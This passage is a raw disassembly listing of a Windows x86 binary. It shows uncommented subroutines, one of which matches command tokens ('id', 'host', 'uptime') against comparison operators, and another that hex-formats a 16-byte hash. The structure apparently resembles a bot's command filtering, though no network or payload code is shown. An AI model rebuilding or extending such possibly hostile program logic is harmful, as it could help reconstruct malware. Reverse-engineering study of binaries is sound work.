		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC6E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D2C ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D28 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D24 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D20 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44956A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44956A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449287
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D80AD
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D80AD
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449287
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 27F0BB0h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F40
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
